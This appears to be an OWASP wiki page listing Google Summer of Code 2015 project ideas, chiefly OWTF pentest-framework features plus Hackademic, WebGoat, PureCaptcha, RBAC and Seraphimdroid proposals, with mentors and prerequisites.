'''Feature 1) Alerting mechanisms'''

When any of the monitor alerts (see below) is triggered. The OWTF user will be notified immediately through ALL of the following means:
* Playing an mp3 song (both local and possibly remote locations)
* Scan status overview on the CLI
* Scan status overview on the GUI

NOTE: A configuration file from where the user can enable/disable/configure all these mechanisms is desired.

'''Feature 2) Corrective mechanisms'''

Corrective mechanisms are also expected in this project, these will be accomplished sending OWTF api messages such as:
* Stop this tool
* Freeze this process (to continue later)
* Freeze the whole scan (to continue later)

Additional mechanisms:
* Show a ranking of files that take the most space

'''Feature 3) Target monitor'''

Brief overview:

All target URLs are checked for availability periodically (i.e. once x 5 minutes?), if a URL in scope goes down the pentester is alerted (see above).

Potential approach: Check if length of 1st page changes every 60 seconds.

NOTE: It might be needed to change this on the fly.

More background

Consider the following scenario:

Current Situation aka "problem to solve":

1) Website X goes down during a scan

2) the customer notices

3) the customer tells the boss

4) the boss tells the pentester

5) the pentester stops the tool which was *still* trying to scan THAT target (!!!!)

Desired situation aka "solution":

It would be much more professional AND efficient that:

1) The pentester notices

2) The pentester tells the boss

3) The boss tells the customer

4) OWTF stops the tool because it knows that website is DEAD anyway

A target monitor could easily do this with heartbeat requests + playing mp3s

The target monitor will use the api to tell OWTF "this target is dead: freeze(stop?) current tests, skip target in future tests"

'''Feature 4) Disk space monitor'''

Another problem that is relatively common in large assessments, is that all disk space is used and the scanning box becomes unresponsive or crashes. When this happens it is too late, the pentester may also see this coming but wonder “which are the biggest files in the filesystem that I can delete”, it is not ideal to have to look for these files in a moment when the scanning box is about to crash :).

Proposed solution:

Regularly monitor how much disk space is left, especially on the partition where OWTF is writing the review (but also tool directories such as /home/username/.w3af/tmp, etc.). Keep track of files created by OWTF and all called tools and sort them by size in descending order. Then when the disk space is going low (i.e. predefined threshold), an mp3 or similar is played and this list is displayed to the user, so that they know what to delete to survive :).

'''Feature 5) Network/Internet Connectivity monitor'''

Sometimes it may also happen that ISP, etc. connectivity go down in the middle of a scan, this is often a very unfortunate situation since most tools are scanning in parallel and they won’t be able to produce a report OR even resume (i.e. A LOT is lost). The goal here is that OWTF does all of the following automatically:

1) Detects the lack of connectivity

2) Freezes all the tools (read: processes) in progress

3) Resumes the scan when the connectivity is back.

'''Feature 6) Tool crash detection'''

Sometimes, certain tools (most notably, ahem, w3af), when they crash they do NOT exit. This leaves OWTF in a difficult position where 1+ process is waiting for nothing, forever (i.e. because “Tool X” will never finish)

'''Feature 7) Tool (Plugin?) CPU/RAM/Bandwidth abuse detection and correction'''

OWTF needs to notice when some tools crash and/or “go beserk” with RAM/CPU/Bandwidth consumption, this is different from the existing built-in checks in OWTF like “do not launch a new tool if there is less than XYZ RAM free” and more like “if tool X is using > XYZ of the available RAM/CPU/Bandwidth” and this is (potentially) negatively affecting other tools/tests, then throttle it.

For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]

'''Expected results:'''

* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-
* Good performance
* Unit tests / Functional tests
* Good documentation

'''Knowledge Prerequisite:'''

Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn

'''OWASP OWTF Mentor:'''

Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org

=== OWASP OWTF - Installation Improvements and Package manager ===

'''Brief explanation:'''

This project is to implement what was suggested in the following github issue:
[https://github.com/owtf/owtf/issues/192 https://github.com/owtf/owtf/issues/192]

Recently i tried to make a fresh installation of OWTF. The installation process takes too much time. Is there any way to make the installation faster?
Having a private server with:
* pre-installed files for VMs
* pre-configured and patched tools
* Merged Lists
* Pre-configured certificates
Additionally a minimal installation which will install the core of OWTF with the option of update can increase the installation speed. The update procedure will start fetching the latest file versions from the server and copy them to the right path.
Additional ideas are welcome.

-- They could be hosted on Dropbox or a private VPS :)

2 Installation Modes
* For high speed connections (Downloading the files uncompressed)
* For low speed connections (Downloading the files compressed)
and the installation crashed because i runned out of space in the vm
IMPORTANT NOTE: OWTF should check the available disk space BEFORE installation starts + warn the user if problems are likely

For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]

'''Expected results:'''

* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''
* Excellent reliability (i.e. proper exception handling, etc.)
* Good performance
* Unit tests / Functional tests
* Good documentation

'''Knowledge Prerequisite:'''

Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn

'''OWASP OWTF Mentor:'''

Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org

=== OWASP OWTF - Testing Framework Improvements ===

'''Brief explanation:'''

As OWASP OWTF grows it makes sense to build custom unit tests to automatically re-test that functionality has not been broken. In this project we would like to improve the existing unit testing framework so that creating OWASP OWTF unit tests is as simple as possible and all missing tests for new functionality are created. The goal of this project is to update the existing Unit Test Framework to create all missing tests as well as improve the existing ones to verify OWASP OWTF functionality in an automated fashion.

'''Top features'''

In this improvement phase, the Testing Framework should:
* (Top Prio) Focus more on functional tests
For example: Improve coverage of OWASP Testing Guide, PTES, etc. (lots of room for improvement there!)
* (Top Prio) Put together a great wiki documentation section for contributors
The goal here is to help contributors write tests for the functionality that they implement. This should be as easy as possible.
* (Top Prio) Fix the current Travis issues :)
* (Nice to have) Bring the unit tests up to speed with the codebase
This will be challenging but very worth trying after top priorities.
The wiki should be heavily updated so that contributors create their own unit tests easily moving forward.

'''General background'''

The Unit Test Framework should be able to:
* Define test categories: For example, "all plugins", "web plugins", "aux plugins", "test framework core", etc. (please see [http://www.slideshare.net/abrahamaranguren/introducing-owasp-owtf-workshop-brucon-2012 this presentation] for more background)
* Allow to regression test isolated plugins (i.e. "only test _this_ plugin")
* Allow to regression test by test categories (i.e. "test only web plugins")
* Allow to regression test everything (i.e. plugins + framework core: "test all")
* Produce meaningful statistics and easy to navigate logs to identify which tests failed and ideally also hints on how to potentially fix the problem where possible
* Allow for easy creation of _new_ unit tests specific to OWASP OWTF
* Allow for easy modification and maintenance of _existing_ unit tests specific to OWASP OWTF
* Perform well so that we can run as many tests as possible in a given period of time
* Potentially leverage the python unittest library: [http://docs.python.org/2/library/unittest.html http://docs.python.org/2/library/unittest.html]

For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]

'''Expected results:'''

* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''
* Performant and automated regression testing
* Unit tests for a wide coverage of OWASP OWTF, ideally leveraging the Unit Test Framework where possible
* Good documentation

'''Knowledge Prerequisite:'''

Python, experience with unit tests and automated regression testing would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn

'''OWASP OWTF Mentor:'''

Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org

=== OWASP OWTF - Tool utilities module ===

'''WARNING: This idea is taken from the 1st round of OWCS selections (Sept. 15th), please do NOT apply'''

'''Brief explanation:'''

The spirit of this feature is something that may or may not be used from OWTF: These are utilities that may be chained together by OWTF OR a penetration tester using the command line. The idea is to automate mundane tasks that take time but may provide a lever to a penetration tester short on time.

'''Feature 1) Vulnerable software version database:'''

Implement a searchable vulnerable software version database so that a penetration tester enters a version and gets vulnerabilities sorted by criticality with MAX Impact vulnerabilities at the top (possibly: CVSS score in DESC order).

Example:
[http://www.cvedetails.com/vulnerability-list.php?vendor_id=74&product_id=128&version_id=149817&page=1&hasexp=0&opdos=0&opec=0&opov=0&opcsrf=0&opgpriv=0&opsqli=0&opxss=0&opdirt=0&opmemc=0&ophttprs=0&opbyp=0&opfileinc=0&opginf=0&cvssscoremin=0&cvssscoremax=0&year=0&month=0&cweid=0&order=3&trc=17&sha=0d26af6f3ba8ea20af18d089df40c252ea09b711 Vulnerabilities against specific software version]

'''Feature 2) Nmap output file merger:'''

Unify nmap files *without* losing data: XML, text and greppable formats
For example: Sometimes 2 scans pass through the same port, one returns the server version, the other does not, we obviously do not want to lose banner information :).

'''Feature 3) Nmap output file vulnerability mapper'''

From an nmap output file, get the unique software version banners, and provide a list of (maybe in tabs?):

1) CVEs in reverse order of CVSS score, with links.

2) Metasploit modules available for each CVE / issue

NOTE: Can supply an *old* shell script for reference

3) Servers/ports affected (i.e. all server / port combinations using that software version)

'''Feature 4) URL target list creator:'''

Turn all “speaks http” ports (from any nmap format) into a list of URL targets for OWTF

'''Feature 5) Hydra command creator:'''

nmap file in => Hydra command list out

grep http auth / login pages in output files to identify login interfaces => Hydra command list out

'''Feature 6) WP-scan command creator:'''

look at all URLs (i.e. nmap file), check if they might be running word press, generate a list of suggested wp-scan commands for all targets that might be running word press

For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]

'''Expected results:'''

* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''
* Excellent reliability (i.e. proper exception handling, etc.)
* Good performance
* Unit tests / Functional tests
* Good documentation

'''Knowledge Prerequisite:'''

Python, experience with unit tests and automated regression testing would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn

'''OWASP OWTF Mentor:'''

Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org

== OWASP ZAP ==

We are in the process of deciding the set of ZAP projects for Google Summer of Code 2015.

You can follow (and join in) the discussions on the ZAP Developer Group: https://groups.google.com/d/msg/zaproxy-develop/Uy0JPkzsI_s/Bj7OTSkISCIJ

== OWASP Testing Guide ==

=== OTG ZAP Integration ===
'''Brief explanation:'''

We would like the OWASP Testing Guide and ZAP (and other web testing tools) to be more tightly integrated. This would require adjustments to the Testing Guide, or separate Testing with ZAP Guide, to explain how testing is completed with ZAP. ZAP would need to have reporting updated to refer to the Testing Guide test cases.

'''Expected outputs:'''

Amended OTG or Testing with ZAP Guide. Either option would require the document to integrate with all web testing tools (Using ZAP as the baseline).
Amended ZAP report strings

'''Knowledge required:'''

Writing skills

'''OTG ZAP Integration mentor:'''

Andrew Muller - OTG Project Co-Leader - Contact: Andrew.muller@owasp.org

GSoC2015 Ideas

2015-02-17T12:08:10Z

Andrew Muller:

=OWASP Project Requests=

== OWASP Hackademic Challenges ==

[[OWASP Hackademic Challenges Project]] helps you test your knowledge on web application security. You can use it to actually attack web applications in a realistic but also controllable and safe environment. After a wonderfull 2014 GSoC with 100 new challenges and a couple of new plugins we're mainly looking to get new features in and maybe a couple of challenges. Bellow is a list of proposed features.

'''Tips to get you started in no particular order:'''
* Read the [[GSoC SAT]]
* Check the Hackademic wiki page linked above
* Contact us through the mailing list or irc channel.
* Check our [https://github.com/Hackademic/hackademic github repository] and especially the [https://github.com/Hackademic/hackademic/issues open tickets]

=== Web Sandbox ===

'''Brief Explanation:'''

After a very successfull OWASP Winter Code Sprint we have a brand new Sandbox feature which uses Linux Containers to create virtual space for each user. So we can host properly vulnerable challenges and maybe execute some code server side. However, the sandbox is not fully complete, we need many features here and there to make it easily deployable and improve it's administration.

Ideas on the project:

* Simple sandbox administration frontend for the web. -- An admin console to start and kill sandboxes manually and to list the status and resources used by each one.
* Secure the implementation -- Now we have a functioning prototype, we know that Linux Containers are quite safe but we haven't explicitly tested our configuration and use of them.
* Your idea here...

'''Expected Results:'''

Better sandboxing

'''Knowledge Prerequisites:'''

Comfortable in Linux administration and some security knowledge depending on the specific project.

'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders

=== Source Code testing environment - Defensive Challenges ===

'''Brief Explanation:'''

Existing challenges are based on a dynamic application testing concept. We would like to work on a project that will give the capability to the attacker to review a vulnerable piece of source code, make corrections and see the result in a realistic (but yet safe) runtime environment. The code can either be run if needed or tested for correctness and security. The implementation challenges of such a project can be numerous, including creating a realistic but also secure environment, testing submitted solutions and grading them in an automatic manner. At the same time there are now numerous sites that support submitting code and then simulate or implement a compiler's functionality.

'''Expected Results:'''

A source code testing and improvement environment where a user will be able to review, improve and test the result of a piece of source code.

'''Knowledge Prerequisites:'''

Comfortable in PHP, HTML. Good understanding of Application Security, source code analysis and related vulnerabilities.

'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders

=== Student performance analytics ===

'''Brief Explanation:'''

We need a better way to measure the student's performance and how it varies depending on the problem. You will write a plugin (or make changes to the core depending on your implementation proposal) to gather all sorts of performance data and present them in a meaningfull way.

'''Expected Results:'''

A page to view performance metrics of differenct students.
( Hackalytics )

'''Knowledge Prerequisites:'''

Comfortable in PHP, HTML, javascript. Some understanding of analytics.

'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders

=== New Template ===

'''Brief Explanation:'''

We need a cool new template since the old one is getting pretty old.
You can do it using the latest frontend bells and whistles (like angular,bootstrap or the tools of your choice).

'''Expected Results:'''

A new template.

'''Knowledge Prerequisites:'''

Comfortable in Css, HTML, javascript and/or the tools you plan on using.

'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders

=== Gamification ===

'''Brief Explanation:'''

Gamification is a feature widely used in many learning platforms out there and it would be nice if we could have it too.
You will need to design and implement the awards, badges and whatever other feature you have in mind. You will also implement the front and backend changes necessary to present the results.

'''Expected Results:'''

Gamification of the platform. ( Hackademicification )

'''Knowledge Prerequisites:'''

Comfortable in Css, HTML, javascript and/or the tools you plan on using.

'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders

=== Your idea ===

'''Brief Explanation:'''

Hackademic is it's community, we always welcome new ideas and cool features. Come over to the irc channel or mailing list and propose something.
We'd be happy to help you get it done.

'''Expected Results:'''

Features we didn't know we needed. ;-)

'''Knowledge Prerequisites:'''

Comfortable in whatever tools and languages you plan on using.

'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders

== OWASP WebGoat .NET - Vulnerable Website ==

'''Brief Explanation:'''

The actual WebGoat .NET is a vulnerable website built in ASP.NET using C#. There are some challenges already built in but we would like to add more vulnerable features
https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET#tab=Overview

'''Expected Results:'''

We want to add more modules such as
*WebSockets
*CSRF challenge
*Finalise testing an upgrade to the .NET framework 4.5
*Retest and clean up actual modules

'''Knowledge Prerequisites:'''

Comfortable in .NET, HTML and C#. Good understanding of Application Security, source code analysis and related vulnerabilities.

'''Mentors:''' Johanna Curiel, Jerry Hoff - OWASP WebGoat Project Leaders

==OWASP WebGoatPHP==
===OWASP WebGoatPHP===
'''Description:'''
[[Webgoat]] is a deliberately insecure open source software made by OWASP using Java programming language. It has a set of challenges and steps, each providing the user with one or more web application vulnerability which user tries to solve. There are also hints and auto-detection of correct solutions.
Since Java is not the most common web application programming language, and it doesn't have many of the bugs other languages such as PHP have when it comes to security, OWASP has [[OWASP_WebGoat_Reboot2012|dedicated in 2012]] an amount of $5000 for promotion of WebGoatPHP.

If you want to know more about WebGoatPHP, I suggest downloading and giving WebGoat a try. It is one of OWASP prides (about 200000 downloads).

'''Expected Results:''' WebGoatPHP first version is ready, it needs thorough testing and delivery. It also needs new challenges added and a CTF hosted on it.

'''Knowledge prerequisite:''' You just need to know PHP and SQL. Familiarity with web application security is recommended.

'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]]

==OWASP PureCaptcha==
===OWASP PureCaptcha===
'''Description:'''
[[OWASP PureCaptcha]] is an OWASP project aiming to simplify CAPTCHA usage. Instead of proving rigorous APIs and many dependencies, it is a single source code file (library) that does not depend on anything and generates secure and fast CAPTCHAs, with little memory and processor footprint.
PureCaptcha is currently released for PHP. The candidate will port this to several other programming languages (priority on web languages) and provide full test coverage.

'''Expected Results:''' PureCaptcha library for at least 3 new programming languages. Unit testing for the core version. A study on security of the generated captcha can also be performed.

'''Knowledge prerequisites:''' Any programming language you want to port into, as well as PHP.

'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]], Jesse Burns

==OWASP PHP Framework==
===OWASP PHP Framework===

'''Description:'''
OWASP PHP Security project plans to gather around secure PHP libraries, and provide a full featured framework of libraries for secure web applications in PHP, both as separate de-coupled libraries and as a whole secure web application framework. Many aspects of this project are already handled, and are being added to OWASP.
The project has been done in the last two years, and now a framework has been built upon these libraries and security best practices. The framework intends to merge security practices with practical frameworks, and aims to be simple and lightweight.

'''Expected Results: ''' A secure yet robust and practical framework for PHP developers.

'''Knowledge prerequisite:''' This project requires at least one year of experience working with different PHP projects and frameworks. It will be too hard for someone with average PHP experience.

'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]], Rahul Chaudhary

'''Skill Level:''' Advanced

==OWASP RBAC Project==
===OWASP RBAC Project===
'''Description:''' ''For the last 7 years, improper access control has been the issue behind two of the Top Ten lists''.

RBAC stands for Role Based Access Control and is the de-facto access control and authorization standard. It simplifies access control and its maintenance for small and enterprise systems alike. NIST RBAC standard has four levels, the second level hierarchical RBAC is intended for this project.

Unfortunately because of many performance and development problems, no suitable RBAC implementation was available until recently, so developers and admins mostly used ACLs and other forms of simple access control methods, which leads to broken and unmaintainable access control over the time.

[[OWASP RBAC project]] has already implemented this, has a wide audience and has released several minor and two major versions. Many new features and modifications are expected by the community behind this.

'''Expected Results:''' OWASP RBAC project more mature by porting from PHP to other programming languages, OR adding new features and testing on the PHP version.

'''Knowledge prerequisite:''' Good SQL knowledge, library development skills, familiarity with one of the programming languages as well as PHP. We recommend average experience and high skills.

'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]], Rahul Chaudhary, Jesse Burns

'''Skill Level:''' Advanced

For more info, visit [http://phprbac.net phprbac.net]

==OWASP PHP Widgets==
===OWASP PHP Widgets===
'''Description:''' Pull MVC (widget-based web views) has been available for many years on all major web programming languages, and even for Javascript. PHP on the other hand, lacks these and suffers a lot from forcing push MVC on its developers. There are a few libraries around, not secure and not mature at all. Providing a robust set of widgets for PHP developers not only smoothes web development process, it automatically mitigates a lot of web attacks that are based on user inputs to forms and other web elements (e.g CSRF, SQL Injection, XSS).

'''Expected Results:''' OWASP PHP Widgets is currently in beta, and the candidate will spend time testing the functionalities, providing test coverage, adding new widgets and features, and building a user community.

'''Knowledge prerequisite:''' Average PHP programming. Good experience with web applications.

'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]]

==OWASP Seraphimdroid==

'''Description:''' SeraphimDroid is educational application for android devices that helps users learn about risks and threats coming from other android applications. SeraphimDroid scans your devices and teaches you about risks and threats coming from application permissions. Also this project will deliver paper on android permissions, their regular use, risks and malicious use. In second version SeraphimDroid will evolve to application firewall for android devices not allowing malicious SMS or MMS to be sent, USSD codes to be executed or calls to be called without user permission and knowledge.

'''Expected Results:''' After last year's GSoC first version of project was released on Google play. However, educational component, setting check, potential android widgets are still missing and would be beneficial. Also, malicious behavior prevention mechanisms should be added and some bugs should be fixed.

'''Knowledge prerequisite:''' Average Android and JAVA programming. Knowledge of XML and SQLite Good experience with mobile applications.

'''Mentor:''' [[User:Nikola Milosevic|Nikola Milosevic]]

== OWASP OWTF ==

=== OWASP OWTF - VMS - OWTF Vulnerability Management System ===

'''Brief explanation:'''

Background problem to solve:

We are trying to reduce the human work burden where there will be hundreds of issues listing apache out of date or php out of date.

Proposed solution:

We can meta aggregate these duplicate issues into one issue of "outdated software / apache / php detected". with XYZ list of issues in them.

A separate set of scripts that allows for grouping and management of vulnerabilities (i.e. think huge assessments), to be usable *both* from inside + outside of OWTF in a separate sub-repo here: https://github.com/owtf

VMS will have the following features:
* Vulnerability correlation engine which will allow for quick identification of unique vulnerability and deduplication.
* Vulnerability table optimization : combining redundant vulnerabilities like example : PHP <5.1 , PHP < 5.2 , PHP < 5.3 all suggest upgrade php so if multiple issues are reported they should be combined.
* Integration with existing bug tracking system like example bugzilla, jira : Should not be too hard as all such system have one or the other method exposed (REST API or similar)
* Fix Validation : Since we integrate with bug tracking once dev fixed the bug and code deployed we can run specific checks via * OWTF or other tool (may be specific nessus or nexpose plugin or similar.)
* Management Dashboard : Could be exposed to Pentester, Higher Management where stats are shown with lesser details but more of high level overview.

[http://www.slideshare.net/null0x00/nessus-and-reporting-karma Similar previous work for Nessus]

For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]

'''Expected results:'''

* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-
* Good performance
* Unit tests / Functional tests
* Good documentation

'''Knowledge Prerequisite:'''

Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn

'''OWASP OWTF Mentor:'''

Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org

=== OWASP OWTF - HTTP Request Translator Improvements ===

'''Brief explanation:'''

Problem to solve:

There are many situations in web app pentests where just no tool will do the job and you need to script something, or mess around with the command line (classic example: sequence of steps where each step requires input from the previous step). In these situations, translating an HTTP request or a sequence of HTTP requests, takes valuable time which the pentester might just not really have.

Proposed solution:

An HTTP request translator, a *standalone* *tool* that can:

1) Be used from inside OR outside of OWTF.

2) Translate raw HTTP requests into curl commands or bash/python/php/ruby/PowerShell scripts

3) Provide essential quick and dirty transforms: base64 (encode/decode), urlencode (encode/decode)
* Transforms with boundary strings? (TBD)
* Individually or in bulk? (TBD)

'''Essential Function: "--output" argument'''

CRITICAL: The command/script should be generated so that the request is sent as literally as possible.

Example: NO client specific headers are sent. IF the original request had "User-Agent: X", the generated command/script should have EXACTLY that (i.e. NOT a curl user agent, etc.). Obviously, the same applies to ALL other headers.

NOTE: Ideally the following should be implemented using an extensible plugin architecture (i.e. NEW plugins are EASY to add)
* http request in => curl command out
* http request in => bash script out
* http request in => python script out
* http request in => php script out
* http request in => ruby script out
* http request in => PowerShell script out

'''Basic additional arguments:'''

- "--proxy" argument: generates the command/script with the relevant proxy option

NOTE: With this the command/script may send requests through a MiTM proxy (i.e. OWTF, ZAP, Burp, etc.)

- "--string-search" argument: generates the command/script so that it:

1) performs the request

2) then searches for something in the response (i.e. literal match)

- "--regex-search" argument: generates the command/script so that it:
1) performs the request

2) then searches for something in the response (i.e. regex match)

'''OWTF integration'''

The idea here, is to invoke this tool from:

1) Single HTTP transactions:

For example, have a button to "export http request" + then show options equivalent to the flags

2) Multiple HTTP transactions:

Same as with Single transactions, but letting the user "select a number of transactions" first (maybe a checkbox?).

'''Desired input formats:'''

* Read raw HTTP request from stdin -Suggested default behaviour! :)-

Example: cat path/to/http_request.txt | http-request-translator.py --output

* Interactive mode: read raw HTTP request from keyboard + "hit enter when ready"

Suggestion: This could be a "-i" (for "interactive") flag and/or the fallback option when "stdin is empty"

Example:

1) User runs tool with desired flags (i.e. "--output ruby --proxy 127.0.0.1:1234 ...", etc.)

2) Tool prints: "Please paste a raw HTTP request and hit enter when ready"

3) User pastes a raw HTTP requests + hits enter

4) Tool outputs whatever is relevant for the flags + http request given

* For bulk processing: Maybe a directory of raw http request files?

'''Nice to have: Transforms'''

In the context of translating raw HTTP requests into commands/scripts, what we want here is to provide some handy "macros" so that the relevant command/script is generated accordingly.

Example:

NOTE: Assume something like the following arguments: "--transform-boundary=@@@@@@@ --transform-language=php"

Step 1) The user provides a raw HTTP request like this:

GET /path/to/urlencode@@@@@@@abc d@@@@@@@/test
Host: target.com
...

Step 2) The tool generates a bash script like the following:

#!/bin/bash

PARAM1=$(echo 'abc d' | php -r "echo urlencode(fgets(STDIN));")
curl ...... "http://target.com/path/to/$PARAM1/test"

OR a "curl command" like the following:
PARAM1=$(echo 'abc d' | php -r "echo urlencode(fgets(STDIN));"); curl ...... "http://target.com/path/to/$PARAM1/test"

This feature can be valuable to shave a bit more time in script writing.

For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]

'''Expected results:'''

* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-
* Good performance
* Unit tests / Functional tests
* Good documentation

'''Knowledge Prerequisite:'''

Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn

'''OWASP OWTF Mentor:'''

Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org

=== OWASP OWTF - JavaScript Library Sniper Improvements ===

'''Brief explanation:'''
This is a project that tries to resolve a very common problem during penetration tests:

The customer is running a number of outdated JavaScript Libraries, but there is just not enough time to determine if something useful -i.e. something *really* bad! :)- can be done with that or not.

To solve this problem, we propose a *standalone* *tool* that can:

1) Be run BOTH from inside AND outside of OWTF

2) Build and *update* a fingerprint JavaScript library database of:
* Library File hashes => JavaScript Library version
* Library File lengths => JavaScript Library version
* (Nice to have:) As above, but for each individual github commit (possible drawback: too big?)

3) Build and *update* a vulnerability database of:
* JavaScript Library version => CVE - CVSS score - Vulnerability info

4) Given a [ JavaScript file OR hash OR length ], found in the database, provides:
* JavaScript Library version
* List of vulnerabilities sorted in descending CVSS score order

5) (very cool to have) Given a list of JavaScript files (maybe a directory), provides:
* ALL Library/vulnerability matches described on 4)

Once the standalone tool is built and verified to be working, OWTF should be able to:

Feature 1) GREP plugin improvement (Web Application Fingerprint):

Step 1) Lookup file lengths and hashes in the "JavaScript library database"

Step 2) If a match is found: provide the list of known vulnerabilities against "JavaScript library X" to the user

Feature 2) SEMI-PASSIVE plugin improvement (Web Application Fingerprint):

1) Requests all referenced BUT missing JavaScript files -i.e. scanners won't load JavaScript files! :)-

2) re-runs the GREP plugin on the new files (i.e. to avoid missing vulns due to unrequested JavaScript files)

Potential projects worth having a look for potential overlap/inspiration:
* [https://owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Check?]

How many JavaScript libraries should be included?
* As many as possible, but especially the major ones: jQuery, knockout, etc.
* "Nirvana" Nice to have: ALL Individual versions of ALL JavaScript files from ALL opensource projects, (ideally) even if the project is not a JavaScript library -i.e. JavaScript files from Joomla, Wordpress, etc.-

Common JavaScript library fingerprinting techniques include:
* Parse the JavaScript file and grab the version from there
* Determine the JavaScript version based on a hash of the file
* Determine the JavaScript version based on the length of the file

Other Challenges:
* "the file" could be "the minimised file", "the expanded file" or even "a specific JavaScript file from Library X"
* When the JavaScript file does not match a specific version:
1) The commit that matches the closest should (ideally) be found
2) The NEXT library version after that commit (if present) should be found
3) From there, it is about reusing the knowledge to figure out public vulnerabilities, CVSS scores, etc. again

For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]

'''Expected results:'''

* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-
* Good performance
* Unit tests / Functional tests
* Good documentation

'''Knowledge Prerequisite:'''

Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn

